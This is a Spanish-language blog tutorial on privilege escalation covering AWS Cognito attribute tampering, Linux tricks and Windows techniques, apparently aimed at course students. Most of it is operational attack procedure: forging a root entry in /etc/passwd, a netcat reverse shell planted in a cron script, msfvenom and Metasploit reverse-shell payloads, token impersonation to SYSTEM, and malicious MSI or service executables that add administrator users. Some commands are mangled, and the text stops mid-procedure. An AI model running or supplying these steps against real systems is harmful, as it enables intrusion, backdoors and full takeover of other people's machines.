![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/hacker_alvaro-hacing-web-Escalada-de-Privilegios.jpg?resize=1024%2C576&ssl=1)
¿Te gustaría enterarte de cuando lanzamos descuentos y nuevos cursos?
![](https://i0.wp.com/achirou.com/wp-content/uploads/2023/11/image.png?resize=549%2C67&ssl=1)
Bienvenidos a nuestro blog. Hoy hablaremos sobre Hacking Web – Escalada de Privilegios. El escalamiento de privilegios es una situación que ocurre cuando un usuario malicioso explota una vulnerabilidad la cual le permite obtener acceso privilegiado a recursos que por defecto,no debería tenerlos. Dichos privilegios de acceso le darán la posibilidad de robar datos confidenciales, ejecutar comandos con permisos de administrador, etc.
Especialmente, en una organización, esto puede afectar en gran medida la reputación de la misma. Esto es así ya que tanto las personas que trabajan de ella como las que no, pueden tener una percepción negativa sobre las medidas de seguridad informática que se aplican en ella. De acuerdo a lo que comentamos anteriormente, la escalación de privilegios acostumbra a ser la puerta de entrada a ataques mucho más específicos y, por ende, más severos. Uno de los aspectos más preocupantes es que estas escaladas maliciosas pueden confundirse con facilidad con las actividades diarias que se registran en la organización.
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-209.png?resize=700%2C368&ssl=1)
¿Cómo funciona la Escalamiento de Privilegios?
Los cibercriminales, empiezan con la explotación de alguna vulnerabilidad que permita ejecutar dicha escalada, ya sea en un sistema o aplicación. Pueden acceder tanto a datos como funcionalidades de otro usuario con mayor cantidad de privilegios (esto es el Escalamiento Horizontal de Privilegios) o bien, obtener privilegios elevados. Tales privilegios elevados generalmente provienen de usuarios administradores o los conocidos como “power user”. A esto último se lo conoce como Escalamiento Vertical de Privilegios.
Para comprender mejor ambos tipos de escaladas, tanto la horizontal como la vertical, haremos algunas distinciones:
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/upm-attack-chain.png?resize=700%2C355&ssl=1)
Escalamiento Horizontal
Es la capacidad de realizar una o más acciones similares a los permisos y accesos que tiene una cuenta con bajos privilegios. En la imagen de ejemplo (Figura 1) en el contexto en donde se está evaluando un sistema de citas médicas el usuario atacante puede también leer las citas médicas gestionadas por otros usuarios del sistema evaluado. el usuario malicioso mantiene sus privilegios de bajo nivel actuales.
Sin embargo, consigue tener acceso a datos y funcionalidades que no deberían estar disponibles para este. Los mismos pueden pertenecer a otros usuarios con mayores privilegios o procesos de sistema. Un ejemplo que se puede citar es el acceso a perfiles de usuarios ajenos al tuyo, aunque estés dentro de tu propia sesión. Esto puede aplicarse a redes sociales o plataformas de compras, bancos, etc.
Implica obtener acceso a otra cuenta, humana o máquina, con privilegios similares. Generalmente conocido como apropiación de cuenta, esto explora la falta de protección adecuada en dicha cuenta. Es importante para un atacante porque aumenta la superficie de ataque y tal vez esta cuenta tenga acceso a algo que tenga una vulnerabilidad que permita una escalada vertical de privilegios.
Escalamiento Vertical
Es la capacidad de realizar una o más acciones diferentes a los permisos y accesos que tiene una cuenta con altos privilegios. En la imagen de ejemplo (Figura 1) en el contexto en donde se está evaluando un sistema de citas médicas el usuario atacante puede inicialmente leer las citas médicas, pero adicionalmente ahora tiene la capacidad de editar, eliminar y crear usuarios del sistema de citas médicas.
En este caso, el usuario malicioso que tiene una cuenta de usuario con privilegios bajos, pasa a tener mayor cantidad de privilegios como si fuese un usuario administrador de Windows, por ejemplo. Aunque la Escalamiento de Privilegios puede ocurrir en cualquiera de los otros sistemas operativos que conocemos. A partir de este momento, el usuario malicioso puede tener completo control sobre las credenciales de otros usuarios, datos importantes, procesos, aplicaciones y más.
Podrá descargar malware, borrar datos o bien, ejecutar código malicioso para llevar a cabo ataques aún más severos. La peor parte es que el cibercriminal puede borrar cualquier rastro del ataque que haya llevado a cabo mediante esta escalada de privilegios, de manera a que no sea posible localizar algún tipo de evidencia que permita el análisis de estos eventos.
Implica obtener acceso a una cuenta que tiene mayores privilegios, por ejemplo, de un usuario normal que obtiene derechos de root. Esto puede resultar complejo porque es posible que se necesiten varios pasos y condiciones para omitir o anular los controles.
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-210.png?resize=567%2C432&ssl=1)
¿Cómo ejecutamos la técnica para escalar privilegios?
Amazon Cognito es un proveedor de autenticación completamente administrado que permite el registro, la verificación, el inicio de sesión del usuario y más. Posterior al ingresar nuestras credenciales en un entorno en donde se encuentra funcionando AWS cognito se mostrará una solicitud y respuesta similar a la siguiente forma:
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-242.png?resize=1024%2C494&ssl=1)
En el cuerpo de la solicitud se puede visualizar un parámetro de nombre “AccesToken” en algunos casos este nombre puede variar, este parámetro contiene un token JWT el cual al ser enviado al servidor este responde con información relacionada a la cuenta como el parámetro custom:profile y custom:registerType.
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-248.png?resize=1024%2C582&ssl=1)
La información mostrada anteriormente puede ser consumida directamente desde la interfaz de línea de comandos (cli) de AWS, como condición es importante contar con el valor del parámetro “AccesToken” el cual será utilizado por la opción “—acces-token” en el cli de AWS.
Lineas de comandos
A continuación, se describe la línea de comando utilizada:
aws –no-verify-ssl cognito-idp get-user –region us-east-1 –acces-token “valor del parámetro AccesToken”
Finalmente, para concretar la técnica intentaremos editar el valor de los atributos custom:profile y custom:registerType de cliente a administrador, ejecutando las siguientes líneas de comando:
aws –no-verify-ssl cognito-idp update-user-attributes –region us-east-1 –acces-token “valor del parámetro AccesToken” –user-atributes Name=custom:profile, Value=administrador1. aws –no-verify-ssl cognito-idp update-user-attributes –region us-east-1 –acces-token “valor del parámetro AccesToken” –user-atributes Name=custom:registerType, Value=administrador
aws –no-verify-ssl cognito-idp update-user-attributes –region us-east-1 –acces-token “valor del parámetro AccesToken” –user-atributes Name=custom:registerType, Value=administrador
Ejecutando los pasos descritos se puede verificar que efectivamente utilizando está técnica es posible escalar privilegios de manera vertical, es decir, en nuestra imagen de ejemplo (Figura 1) en el contexto en donde se está evaluando un sistema de citas médicas el usuario que inicialmente podía leer citas médicas ahora también tiene la capacidad de editar, eliminar y crear usuarios del sistema.
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-255.png?resize=1024%2C479&ssl=1)
Tips:
- El valor del usuario de altos privilegios puede variar, es decir, podría ser: admin, administrator, administrador o tener otro nombre, para ello se recomienda revisar los archivos js en donde quizás se pueda encontrar mayor información.
- En algunos casos el parámetro “—region” varía, para ello se tendría que probar con otros valores:
https://docs.aws.amazon.com/es_es/AWSEC2/latest/UserGuide/using-regions-availability-zones.html
Recomendación:
- Realizar una validación de permisos y privilegios en donde AWS Cognito no permita la edición de atributos a usuarios con bajos privilegios.
- La remediación de lo descrito esta ligado estrictamente a una inadecuada configuración en AWS cognito en donde los permisos de escritura y lectura no fueron segmentados y establecidos de manera correcta.
- Se recomienda leer la documentación emitida por el fabricante para restringir y limitar la edición de atributos:
https://docs.aws.amazon.com/cognito/latest/developerguide/user-pool-settings-attributes.html
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-247.png?resize=646%2C386&ssl=1)
Los servidores son mayormente Linux, pero también hay server con Windows veamos alguna técnicas de escala de privilegios.
Escalada de privilegios en Linux
Sudo es un software que permite al administrador del sistema brindar a ciertos usuarios (o grupos de usuarios) la capacidad de ejecutar algunos (o todos) los comandos como root mientras registra todos los comandos y argumentos. Entonces, cuando un usuario quiere ejecutar algún comando con permisos de root, generalmente lo hace. Lo primero que debe hacer un usuario al acceder a una máquina es precisamente ver qué versión de Sudo existe (si existe) con el comando sudo –version.
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-211.png?resize=192%2C47&ssl=1)
Esta es actualmente la última versión de sudo por lo que no debería tener ninguna vulnerabilidad, o mejor dicho, no debería tener ninguna vulnerabilidad *conocida*. Un vector de ataque típico en la escalada de privilegios son los programas obsoletos y, en este caso, existe un exploit conocido para la versión sudo ≤1.8.14 que permite a cualquier usuario obtener acceso root (CVE-2015–6502).
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-236.png?resize=683%2C156&ssl=1)
Aún en Sudo, siempre se debe ejecutar el comando sudo -ldonde se pueda ver qué comandos puede usar un usuario con privilegios en el host. Aún así, para ejecutar dicho comando como root el atacante debe conocer la contraseña del usuario.
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-240.png?resize=618%2C151&ssl=1)
En este ejemplo, al ejecutar sudo -lsabemos que el usuario puede ejecutar el comando sudoediten el archivo /home/*/*/test.shcomo root.
Archivos confidenciales grabables
Esto sucede cuando el usuario puede escribir en /etc/passwdo /etc/shadow. Estos archivos son donde en el sistema se guardan todos los usuarios que tienen acceso al sistema y los hash de contraseña de los usuarios, respectivamente.
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-212.png?resize=532%2C47&ssl=1)
La imagen de arriba muestra los permisos correctos que debe tener el archivo; solo el usuario root debe poder escribirlo. Si cualquier usuario pudiera escribir en él, un atacante podría crear una entrada que diga que cierto usuario tiene privilegios de root.
Para profundizar un poco más en cómo sucede esto, primero debemos saber un poco cómo se completa ese archivo. Esta es una línea normal en el archivo:
test:x:0:0:root:/root:/bin/bash
- prueba: es el nombre de usuario
- x: es la contraseña. Cuando es una ‘x’ significa que la contraseña está cifrada en/etc/shadow
- 0: es el ID de usuario. ‘0’ está reservado para root.
- 0: es el ID del grupo
- raíz: es la información de identificación del usuario
- /root: es el directorio de inicio del usuario
- /bin/bash: es la ruta absoluta del shell que utiliza este usuario.
Ahora veamos la prueba de concepto de la vulnerabilidad. Para recordar, lo que queremos hacer es, si podemos escribir en /etc/passwd, crear un hash de contraseña, hacer una entrada en el archivo con el hash que creamos en la contraseña, iniciar sesión como ese usuario con acceso root.
Crear hash de contraseña:
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-213.png?resize=429%2C48&ssl=1)
Crea una entrada y colócala en el archivo:
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-233.png?resize=680%2C538&ssl=1)
Simplemente inicie sesión en el usuario ch con privilegios de root. La contraseña es pass123.
Procesos que se ejecutan automáticamente
Los cronjobs son procesos que el sistema ejecuta automáticamente con una cierta periodicidad. A veces, estos ejecutan un determinado archivo bash como root y también ejecutan un determinado conjunto de comandos como root. Si identificamos un cronjob que ejecuta un archivo que también podemos escribir… Verás hacia dónde va esto.
Para ver qué cronjobs se están ejecutando, simplemente ejecute el comando cat /etc/crontab. Si esto no devuelve nada útil podemos ejecutar un programa llamado pspy64 ( https://github.com/DominicBreuker/pspy ) que nos muestra todos los procesos en ejecución en el sistema.
En este ejemplo, encontramos que cierto archivo (cleanall.sh) se ejecuta como root y podemos escribir en él. Así que intentamos que ejecute un shell inverso de netcat en nuestra máquina y, si la conexión es exitosa, obtenemos acceso root a la máquina.
En nuestra máquina iniciamos un oyente netcat:
nc -lnvp <port>
En nuestro objetivo colocamos en el archivo anterior una conexión con nuestro oyente:
echo “nc -e /bin/bash <our_ip> <port> > cleanall.sh.
Cuando esto se ejecuta, tenemos nuestro shell raíz.
Abusar de SUID/GUID
Esto es un poco más complicado, por lo que hay algunos conceptos teóricos de los que se debe hablar. Todo en Linux es un archivo con permisos.
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-237.png?resize=700%2C500&ssl=1)
Este archivo tiene todos los permisos y podemos configurarlo con el comando chmod 777. Te preguntarás por qué 777, bueno, se trata de bits. Si piensa en estos permisos como bits 7, es la combinación de 4 (lectura), 2 (escritura) y 1 (ejecución). Entonces chmod 600 corresponde a rw -— — y chmod 764 corresponde a rwx-rw-r. Un SUID es un tipo de permiso de usuario que permite a los usuarios ejecutar un archivo con los permisos de un usuario específico. Aquellos archivos que tienen permisos SUID se ejecutan con privilegios más altos.
Bueno, ahora, ¿cómo los encontramos? Bueno, usando el siguiente comando.find / -perm -u=s -type f 2>/dev/null
Ahora cada comando que tiene un SUID tiene un método de exploración diferente, por lo que no puedo ponerlos todos aquí. Pero hay muchos exploits en el increíble sitio web https://gtfobins.github.io/ .
LinPEAS
LinPEAS es un script que busca automáticamente posibles rutas para escalar privilegios. El objetivo es descargar el script en la máquina de destino, otorgarle los permisos y ejecutarlo. Podemos obtener el script en https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS .
Escalada de privilegios de Windows
Enumeración inicial.
Enumeración del sistema
systeminfo
systeminfo | findstr /B /C: “os name” /C: “os version” /C: “system type”
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-233.png?resize=680%2C538&ssl=1)
Hostname
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-214.png?resize=367%2C52&ssl=1)
wmic qfe
wmic = línea de comando de instrumentación de administración de Windows
qfe = ingeniero de solución rápida
wmic logicaldisk
wmic logicaldisk get caption,description,providername
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-215.png?resize=570%2C67&ssl=1)
Enumeración de usuarios
whoami /priv Para saber qué privilegios tenemos
whoami /groups Para saber en qué grupos se encuentra el usuario
net user Esto nos mostrará los usuarios en esa máquina.
net user user1 Para más información de ese usuario1
net local group user1
ipconfig
ipconfig /all
arp -a
tablas arpa
route print
netstat -ano
¿A quién nos comunicamos, etc.?
Búsqueda de contraseñas
Algunos archivos SAML almacenan hash de contraseñas en el sistema
unattend.xml también puede almacenar contraseñas.
findstr /si password *.txt *.ini *.config
La contraseña es una cadena aquí, puede ser reemplazada por cualquier cosa.
findstr /spin “password” *.
encuentra todas las contraseñas en todos los archivos
Cortafuegos y antivirus
sc query windefend
sc = control de servicio
windefend comprueba si el defensor está presente o no.
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-216.png?resize=631%2C177&ssl=1)
Está funcionando
sc queryex type= service
muestra todos los servicios que se ejecutan en el sistema
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-232.png?resize=664%2C600&ssl=1)
netsh advfirewall firewall dump
netsh firewall show state
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-217.png?resize=615%2C304&ssl=1)
netsh firewall show config
muestra la configuración del firewall.
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-234.png?resize=642%2C517&ssl=1)
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-249.png?resize=700%2C234&ssl=1)
Explotaciones del kernel.
Un Kernel es el componente central del sistema operativo y actúa como un puente entre los componentes de hardware y las aplicaciones de software.
Cuando un sistema operativo se carga en la memoria, el kernel se carga primero y permanece en la memoria hasta que el sistema operativo se apaga nuevamente.
El kernel es responsable de tareas de bajo nivel, como la administración de discos, la administración de tareas y la administración de memoria.
Inicialmente, estos exploits se facilitan una vez que logramos establecernos en nuestro sistema de destino, por lo que después de obtener acceso a través de metasploit (preferiblemente), ejecute esto /post/multi/recon/local_exploit_suggestery verifique si Kitrap0d existe.
Explotación Kitrap0d
Inicialmente crearemos un shell inverso y lo cargaremos en el sistema de destino msfvenom -p windows/shell_reverse_tcp LHOST=yourIP LPORT=555 -f aspx > myfile.aspx
-p = carga útil (aquí un shell inverso simple)
LHOST = dirección IP actual del sistema
LPORT = puerto de su elección
-f = tipo de archivo (a qué tipo de archivo va el sistema para trabajar)
> = guardar el archivo de salida con un nombre de archivo
de alguna manera cargue este archivo en el sistema de destino. Aquí usamos ftp como ejemplo para cargarftp 10.0.0.1
password is anonymous and then type “put manual.aspx
nc -nvlp 555
Vaya a la dirección IP/sitio e invoque la carga útil.
Potato Attacks
Supongamos que tenemos un shell en la máquina con Windows y después de verificar whoami /priv descubrimos que tenemos privilegios de token de suplantación.
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-257.png?resize=700%2C279&ssl=1)
Lo que nos ayuda a obtener NT/Autoridad mediante un ataque de papa, entonces se puede hacer lo siguiente:
habrá dos instancias en este punto
La primera instancia es que debemos tener un pie en el sistema y verificar si el sistema tiene algún privilegio de identidad (figura anterior).
Es el shell de Metasploit que estamos a punto de trazar.
EN METASPLOIT:
usar/exploit/multi/script/web_delivery
establecer el objetivo como PSH (PowerShell)
establecer la carga útil comowindows/meterpreter/reverse_tcp
configure LHOST y SRVHOST como su dirección IP.
Ingrese a ejecutar, obtendremos una carga útil, la copiaremos y la pegaremos en la primera instancia donde esté presente el caparazón de apoyo inicial (1.)
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-250.png?resize=700%2C117&ssl=1)
Pegue el comando anterior en primera instancia.
Después de pegar, ingrese session1 y escriba getprivs
compruebe si es arquitectura x64 o x86 escribiendogetuid
Ejecute post/multi/recon/local_exploit_suggestery verifique todos los exploits disponibles que se pueden aprovechar.
correrwindows/local/ms16_075_reflection
establecer sesión en 1
establezca LHOST en la ip de kali
configure LPORT en cualquier puerto en el que la sesión 1 no esté escuchando
establecer la carga útil enwindows/x64/meterpreter/reverse_tcp
correr
load incognito
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-239.png?resize=700%2C108&ssl=1)
escriba list_tokens -uy observe NT AUTHORITY\SYSTEM
tipoimpersonate_token “NT Authority\SYSTEM”
escriba shellahora somos como Autoridad
En el caso de Labs y boxes, puede haber alguna situación de flujo de datos que se utiliza para ocultar la información de un archivo. En esos casos, podemos usar este blog: https://blog.malwarebytes.com/101/2015/07/introduction-to -flujos-de-datos-alternativos/
frases simples podrían ser dir /R (para búsqueda recursiva de archivos en el directorio) más <nombre del archivo que se desea buscar
Referencias:
SecWiki/exploits-del-kernel-de-windows: exploits-del-kernel-de-windows Windows平台提权漏洞集合 (github.com)
Para demostrar todos los tipos de escalada, usaremos algunas herramientas y estas herramientas se pueden encontrar en el cuadro Windows PrivEsc Arena en TryHackMe.
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-251.png?resize=677%2C596&ssl=1)
Tipos de escalamiento.
Escalamiento del registro: ejecución automática
Cuando conectamos un disco externo o cualquier otra entrada al sistema, Windows dirá ¿qué quieres que haga con este dispositivo? Decimos que lo ejecutemos, ahora se ejecuta automáticamente.
Estamos buscando algo que se ejecute automáticamente y si tiene los privilegios adecuados para darnos un shell elevado.
Instale Autorun.exe en su entorno de laboratorio y luego haga lo siguiente
- Abra el símbolo del sistema y escriba:
- C:\Usuarios\Usuario\Desktop\Tools\Autoruns\Autoruns64.exe
- En Autoruns, haga clic en la pestaña ‘Iniciar sesión’.
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-236.png?resize=683%2C156&ssl=1)
- De los resultados enumerados, observe que la entrada “Mi programa” (puede ser cualquier cosa según el sistema de destino) apunta a “C:\Program Files\Autorun Program\program.exe”.
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-245.png?resize=685%2C332&ssl=1)
- En el símbolo del sistema, escriba:
C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe -wvu “C:\Program Files\Autorun Program”
-w = mostrarme solo los elementos que tienen acceso de escritura
-v = mostrarme como muchos detalles que puedes proporcionarme
-u = ignora los errores
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-218.png?resize=643%2C270&ssl=1)
- En el resultado, observe que el grupo de usuarios “Todos” (puede ser cualquier cosa según el sistema de destino) tiene “FILE_ALL_ACCESS” y permiso de lectura y escritura en el archivo “program.exe”.
- Entonces podemos crear un archivo program.exe malicioso que puede proporcionarnos un shell inverso y podemos controlar todo el sistema Windows.
EXPLOTACIÓN (en sistema Linux)
- Abra el símbolo del sistema y escriba: msfconsole
- En Metasploit (msf > símbolo) escriba: use multi/handler
- En Metasploit (msf > símbolo) escriba: establezca la carga útil windows/meterpreter/reverse_tcp
- En Metasploit (msf > símbolo) escriba: establezca lhost [Dirección IP de Kali VM]
- En Metasploit (msf > símbolo) escriba: ejecutar
- Abra un símbolo del sistema adicional y escriba: msfvenom -p windows/meterpreter/reverse_tcp lhost=[Dirección IP de Kali VM] -f exe -o program.exe
- Copie el archivo generado, program.exe, a la máquina virtual de Windows. Puedes hacer esto alojando un servidor Python en Kali y descargándolo desde el sistema Windows.
Windows VM (entorno de laboratorio/sistema de destino)
- Coloque program.exe (program.exe adquirido por metasploit) en ‘ C:\Program Files\Autorun Program ‘.
- Para simular el efecto de escalada de privilegios, cierre la sesión y luego vuelva a iniciarla como usuario administrador.
Sistema Linux
- Espere a que se abra una nueva sesión en Metasploit.
- En Metasploit (msf > símbolo) escriba: sesiones -i [ID de sesión]
- Para confirmar que el ataque tuvo éxito, en Metasploit (msf > símbolo) escriba: getuid
Escalamiento del registro: AlwaysInstallElevated.
- Hay paquetes llamados paquetes MSI en Windows que ayudan a instalar información de actualización, establecer valores de registro, etc. dentro del sistema operativo Windows.
- Tenemos esta función de registro donde podemos instalar automáticamente paquetes elevados. Vamos a abusar de esta funcionalidad e instalar una puerta trasera (shell inverso) y obtener NT\AUTHORITY SYSTEM.
- Tenemos que verificar si una consulta de registro particular “AlwaysInstallElevated” está configurada en 0x1 o no.
Vamos a aprender dos formas de atacar esto.
PRIMERA MANERA
Instale la herramienta powerUp.ps1 en su sistema
- Vaya a la herramienta de encendido y abra cmd allí haciendo clic en Mayús derecha + clic derecho
- tipo powershell -ep bypass(-ep = política de omisión de ejecución)
- tipo. .\powerUp.ps1
- tipoInvoke-AllChecks
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-219.png?resize=653%2C252&ssl=1)
- marque “AlwaysInstallElevated”
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-235.png?resize=646%2C586&ssl=1)
- Aquí podemos ver una función llamada ” Write-UserAddMSI”, así que escribiremos esto en el símbolo del sistema y veremos qué sucede.
- Después de escribir la función podemos ver que se ha descargado un nuevo script en nuestra carpeta de encendido, ejecutémoslo tocando dos veces sobre él.
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-220.png?resize=509%2C122&ssl=1)
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-244.png?resize=679%2C449&ssl=1)
- aquí el script nos permite crear un nuevo usuario en cualquier grupo administrativo que queramos, para verificar esto veremos inicialmentenet local addministrators
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-221.png?resize=642%2C181&ssl=1)
sólo TCM es el administrador.
- Ejecutaremos el script y veremos si podemos crear un usuario administrador.
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-243.png?resize=676%2C605&ssl=1)
- Podemos dar nuestro propio nombre de usuario, contraseña y convertirnos en un grupo de administradores y ser dueños del sistema.
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-222.png?resize=646%2C177&ssl=1)
El usuario de BlackHat se agrega al rol de administrador.
SEGUNDA VÍA
- Abra el símbolo del sistema y escriba:reg query HKLM\Software\Policies\Microsoft\Windows\Installer
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-223.png?resize=666%2C191&ssl=1)
- En el resultado, observe que el valor de “AlwaysInstallElevated” es 1. Por lo tanto, el registro está configurado para permitir “AlwaysInstallElevated”.
- En el símbolo del sistema escriba:reg query HKCU\Software\Policies\Microsoft\Windows\Installer
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-224.png?resize=639%2C82&ssl=1)
- En el resultado, observe que el valor de “AlwaysInstallElevated” es 1. Por lo tanto, el registro está configurado para permitir “AlwaysInstallElevated”.
- Vayamos a Linux y ejecutemos Metasploit.
EN LINUX(METASPLOIT)
- Abra el símbolo del sistema y escriba: msfconsole
- En Metasploit (msf > símbolo) escriba: use multi/handler
- En Metasploit (msf > símbolo) escriba: establezca la carga útil windows/meterpreter/reverse_tcp
- En Metasploit (msf > símbolo) escriba: establezca lhost [Dirección IP de Kali VM]
- En Metasploit (msf > símbolo) escriba: ejecutar
- Abra un símbolo del sistema adicional y escriba: msfvenom -p windows/meterpreter/reverse_tcp lhost=[Dirección IP de Kali VM] -f msi -o setup.msi
- Copie el archivo generado, setup.msi, a la máquina virtual de Windows.
- Instale el archivo .msi en Windows y observe cómo aparece un shell inverso en la máquina Linux.
Escalamiento del servicio: Registro (regsvc ACL)
- Vamos a verificar los servicios (principalmente regsvc (servicio de registro)) y ver si tenemos control total sobre la clave de registro.
- Una vez que encontremos el servicio, compilaremos un ejecutable escrito en ‘c’ y le indicaremos que ejecute algún código malicioso como agregar un usuario al grupo de administradores, etc.
- Abra el mensaje de powershell (escriba powershell -ep bypass) y escriba: Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl
Get -Acl es una herramienta incorporada que obtiene la lista de control de acceso del siguiente registro hklm - Observe que el resultado sugiere que el usuario que pertenece a “NT AUTHORITY\INTERACTIVE” tiene permiso “FullContol” sobre la clave de registro.
- Podemos crear un servicio malicioso e incrustarlo
EN WINDOWS
- Copie ‘C:\Users\User\Desktop\Tools\Source\windows_service.c’ a la máquina virtual de Linux.
Para hacer lo siguiente en Linux, abra un servidor python php. python -m pyftlib -p21 — write
En Windows, abra la ruta de la carpeta donde está el archivo y abra el cmd, escriba ftp kaliIPy luego proporcione el nombre de usuario y la contraseña como anónimos.
Tipoput windows_service.c
En Linux
- Abra windows_service.c en un editor de texto y reemplace el comando utilizado por la función system() por: cmd.exe /k net localgroup administradores usuario /add
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-258.png?resize=700%2C579&ssl=1)
Reemplazar en la función system().
- Salga del editor de texto y compile el archivo escribiendo lo siguiente en el símbolo del sistema: x86_64-w64-mingw32-gcc windows_service.c -o x.exe (NOTA: si no está instalado, use ‘sudo apt install gcc-mingw- w64’)
- Copie el archivo x.exe generado en Windows mediante el servidor HTTP Python normal.
EN WINDOWS
- coloque x.exe en ‘C:/Temp’
- Abra el símbolo del sistema en el tipo: reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /dc:\temp\x.exe /f
– estamos agregando un registro HKLM y /v representa el nombre del valor que se agregará a la clave de registro y el nombre del valor es ImagePath.
– la ruta de la imagen es una clave de registro que tiene la ruta del archivo de imagen del controlador, por lo que si colocamos el ejecutable aquí y le indicamos al servicio que se inicie, el archivo de imagen ejecutará el servicio (x.exe) por nosotros
– REG_EXPAND_SZ dice que estamos ejecutando un valor de cadena y el valor de la cadena es /dc:\temp\x.exe (/d = datos) /f sin mensaje - En el símbolo del sistema, escriba: sc start regsvc.
- Es posible confirmar que el usuario fue agregado al grupo de administradores locales escribiendo lo siguiente en el símbolo del sistema: net localgroup administradores
Escalamiento del servicio: archivos ejecutables
- Buscamos servicios en ejecución, que tengan ejecutables adjuntos o archivos ejecutables como servicio.
- Y si tienen permiso de lectura y escritura o FILE_ALL_ACCESS, entonces es posible aprovechar un ataque y obtener privilegios elevados.
Método 1
- Navegue hasta la herramienta de encendido y abra un CMD en ella.
- tipopowershell -ep bypass
- tipo. .\powerUp.ps1
- tipoInvoke-AllChecks
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-238.png?resize=676%2C411&ssl=1)
- Podemos observar el servicio filepermsvc ejecutándose y todos pueden modificarlo.
Método 2:
- Abra el símbolo del sistema y escriba: C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe -wvu “C:\Program Files\File Permissions Service”
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-225.png?resize=668%2C248&ssl=1)
- Observe que el grupo de usuarios “Todos” tiene el permiso “FILE_ALL_ACCESS” en el archivo filepermservice.exe.
Entonces, en el Método 2 tenemos que conocer la ruta del archivo de servicio donde buscar el ejecutable podría estar allí, esto puede ser bastante difícil en una situación del mundo real.
En el método 1 es bastante fácil porque el script proporciona toda la información que necesitamos para obtener el shell elevado…
EXPLOTACIÓN
- Utilice el mismo x.exe (de 3.3 Escalamiento de servicio – Registro (regsvc ACL)) y guárdelo en los archivos de programa > servicio de permisos de archivos > cámbiele el nombre a filepermservice.exe a x.exe
- (O) puede simplemente copiar el archivo x.exe antiguo desde una ubicación anterior a una ubicación más nueva haciendo lo siguientecopy /y C:\Temp\x.exe “c:\Program Files\File Permissions Service\filepermservice.exe”
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-241.png?resize=598%2C315&ssl=1)
Reemplazo de filepermservice.exe con x.exe
- Compruebe elnet localgroup administrator
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-246.png?resize=401%2C204&ssl=1)
- Inicie el servicio sc start filepermservicey verifique elnet localgroup administrator
- Se agregará un nuevo usuario al grupo de administradores.
Escalamiento de privilegios: aplicaciones de inicio
- Cada vez que iniciamos nuestro dispositivo, ciertas aplicaciones deben ejecutarse automáticamente para mantener el sistema incluso antes de que lo operemos. Estas determinadas aplicaciones se conocen como aplicaciones de inicio.
- Vamos a crear una aplicación de inicio maliciosa que nos otorga acceso elevado y se ejecuta en el momento del inicio.
- Para hacer eso, usaremos icacls.exe, esta es una herramienta de ACL que se usa para verificar los permisos de las ACL y permitirnos ver dónde tenemos acceso.
- ¿Qué es una ACL?
En seguridad informática, una lista de control de acceso (ACL) es una lista de permisos asociados con un recurso (objeto) del sistema. Una ACL especifica a qué usuarios o procesos del sistema se les concede acceso a los objetos, así como qué operaciones se permiten en determinados objetos.
EN MÁQUINA DE WINDOWS
- Abra el símbolo del sistema y escriba:
icacls.exe “C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup”
![](https://i0.wp.com/achirou.com/wp-content/uploads/2024/01/image-226.png?resize=643%2C246&ssl=1)
- En el resultado, observe que el grupo “BUILTIN\Users” tiene acceso completo ‘(F)’ al directorio.
MÁQUINA LINUX
- Abra el símbolo del sistema y escriba: msfconsole
- En Metasploit (msf > símbolo) escriba: use multi/handler
- . En Metasploit (msf > símbolo) escriba: establezca la carga útil windows/meterpreter/reverse_tcp
- En Metasploit (msf > símbolo) escriba: establezca lhost [Dirección IP de Kali VM]
- En Metasploit (msf > símbolo) escriba : ejecutar
